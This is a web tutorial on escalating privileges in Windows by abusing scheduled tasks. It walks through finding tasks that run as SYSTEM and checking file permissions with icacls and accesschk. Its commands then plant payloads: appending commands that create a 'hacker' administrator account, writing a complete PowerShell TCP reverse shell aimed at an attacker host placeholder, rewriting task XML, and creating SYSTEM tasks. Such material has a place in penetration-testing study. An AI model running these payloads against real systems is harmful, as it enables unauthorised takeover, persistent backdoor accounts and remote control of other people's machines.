Skip to content
HackIndex logo

HackIndex

Windows Scheduled Task Abuse for Privilege Escalation

4 min read Jul 14, 2026

Windows Task Scheduler runs tasks as SYSTEM, Administrator, or other privileged accounts on a schedule. If a task runs a script or binary you can write to, or if the task definition itself is modifiable, you can execute arbitrary code as the task's user. This is the Windows equivalent of cron job abuse on Linux.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /all

List all scheduled tasks with full details:

C:\Users\Guest\Desktop> schtasks /query /fo LIST /v > C:\Windows\Temp\tasks.txt
C:\Users\Guest\Desktop> type C:\Windows\Temp\tasks.txt

Shorter overview:

C:\Users\Guest\Desktop> schtasks /query /fo TABLE /nh

Step 1 — Find High-Value Tasks

Focus on tasks that:

  • Run as SYSTEM, Administrator, or a privileged user

  • Execute a script or binary in a non-system directory

  • Have a schedule that fires automatically

PS C:\Users\Guest\Desktop> # Tasks running as SYSTEM
PS C:\Users\Guest\Desktop> schtasks /query /fo LIST /v | findstr /i "run as\|task to run\|status"
 
PS C:\Users\Guest\Desktop> # PowerShell — more detailed
PS C:\Users\Guest\Desktop> Get-ScheduledTask | Where-Object {$_.Principal.UserId -match "SYSTEM|Administrator"} | Select-Object TaskName, TaskPath, @{N="Action";E={$_.Actions.Execute}}

Step 2 — Find Writable Task Scripts or Binaries

Once you identify a high-value task, check the permissions of what it executes:

C:\Users\Guest\Desktop> # Get the task action (what it runs)
C:\Users\Guest\Desktop> schtasks /query /tn "\TaskName" /fo LIST /v | findstr "Task To Run"
 
C:\Users\Guest\Desktop> # Check permissions on the executable or script
C:\Users\Guest\Desktop> icacls "C:\Path\To\task-script.ps1"
C:\Users\Guest\Desktop> icacls "C:\Path\To\task-binary.exe"
 
C:\Users\Guest\Desktop> # Using accesschk
C:\Users\Guest\Desktop> accesschk.exe -quvw "C:\Path\To\task-script.ps1" /accepteula

Look for (W), (M), or (F) for your user.

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-ModifiableScheduledTaskFile

Step 3 — Modify the Writable Script or Binary

If the task runs a PowerShell script:

C:\Users\Guest\Desktop> # Append payload to existing script (preserves original function)
C:\Users\Guest\Desktop> echo net user hacker Password123! /add >> C:\Tasks\backup.ps1
C:\Users\Guest\Desktop> echo net localgroup administrators hacker /add >> C:\Tasks\backup.ps1

Or replace entirely with a reverse shell:

PS C:\Users\Guest\Desktop> # PowerShell reverse shell — write to the script
PS C:\Users\Guest\Desktop> $payload = '$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS C:\Users\Guest\Desktop> Set-Content "C:\Tasks\backup.ps1" $payload

If the task runs a batch file:

C:\Users\Guest\Desktop> echo net user hacker Password123! /add > C:\Tasks\backup.bat
C:\Users\Guest\Desktop> echo net localgroup administrators hacker /add >> C:\Tasks\backup.bat

If the task runs an EXE in a writable location:

C:\Users\Guest\Desktop> copy /y C:\Windows\Temp\payload.exe C:\Tasks\backup.exe

Step 4 — Trigger the Task

Wait for the scheduled time, or trigger manually if you have permission:

C:\Users\Guest\Desktop> # Run the task immediately
C:\Users\Guest\Desktop> schtasks /run /tn "\TaskName"

If you cannot run it manually, check the schedule:

C:\Users\Guest\Desktop> schtasks /query /tn "\TaskName" /fo LIST /v | findstr "Next Run Time\|Schedule Type\|Repeat"

Step 5 — Modify the Task Definition Directly (If Writable)

Task XML definitions are stored in:

C:\Users\Guest\Desktop> C:\Windows\System32\Tasks
C:\Users\Guest\Desktop> C:\Windows\SysWOW64\Tasks

Check if any task file is writable:

C:\Users\Guest\Desktop> icacls C:\Windows\System32\Tasks\* 2>nul | findstr /v "NT AUTHORITY\|BUILTIN\|No mapping"
C:\Users\Guest\Desktop> accesschk.exe -uwqs Users C:\Windows\System32\Tasks\ /accepteula 2>nul

If writable, read the XML, modify the <Command> or <Arguments> element, and save:

PS C:\Users\Guest\Desktop> $taskXml = Get-Content "C:\Windows\System32\Tasks\VulnerableTask" -Raw
PS C:\Users\Guest\Desktop> $taskXml = $taskXml -replace '<Command>.*?</Command>', '<Command>net user hacker Password123! /add</Command>'
PS C:\Users\Guest\Desktop> Set-Content "C:\Windows\System32\Tasks\VulnerableTask" $taskXml

Creating a New Task (If Allowed)

If your user can create scheduled tasks, create one that runs as SYSTEM:

C:\Users\Guest\Desktop> # Note: /ru SYSTEM requires elevation on modern Windows — check if allowed
C:\Users\Guest\Desktop> schtasks /create /tn "privesc" /tr "net user hacker Password123! /add" /sc once /st 00:00 /ru SYSTEM /f
 
C:\Users\Guest\Desktop> # If not allowed as SYSTEM, create as current user and chain to another vector
C:\Users\Guest\Desktop> schtasks /create /tn "privesc" /tr "C:\Windows\Temp\shell.exe" /sc once /st 00:00 /f

References